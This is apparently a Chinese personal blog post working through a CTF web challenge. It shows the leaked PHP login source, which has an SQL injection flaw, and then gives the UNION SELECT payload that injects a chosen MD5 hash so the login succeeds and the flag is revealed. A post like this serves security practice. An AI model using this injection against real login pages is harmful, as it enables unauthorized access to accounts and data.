Patrilic's blog

一个有趣的(假)SQL题?

Word count: 399 / Reading time: 2 min
2018/02/07 Share

一个有趣的伪代码题

最近沉迷渗透测试,每次搞到一半就卡住,很是头疼,下午听着音乐打算做几个ctf题玩玩,然后就发现了这个有趣的题。

题目地址:http://ctf5.shiyanbar.com/web/5/index.php

题目本身不是很难,但是我觉得很有意义。

下面来分析一下

既然是程序逻辑问题,不多说 ctrl+U 看看源码 发现了 index.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<head>
welcome to simplexue
</head>
<body>
<?php


if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");

}


}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

看上去只需要$row[pw]与MD5加密后的password相同 再猜对username即可拿到Key
但是并不知道数据库中的user与password
硬肝了10分钟也没什么头绪

再分析一遍代码,发现
$sql = "select pw from php where user='$user'";
而$row[pw]是从$sql中提取 所以密码其实是可以自定义的
POST $user = username’ union select ‘1d86b45aa0f940df1951776b24cb36e7’ –+
POST $pass = patrilic

提交后即可拿到flag:SimCTF{youhaocongming}

ahahaha做了这个题心情变好了一点,继续攻城~

CATALOG
  1. 1. 一个有趣的伪代码题
    1. 1.1. 下面来分析一下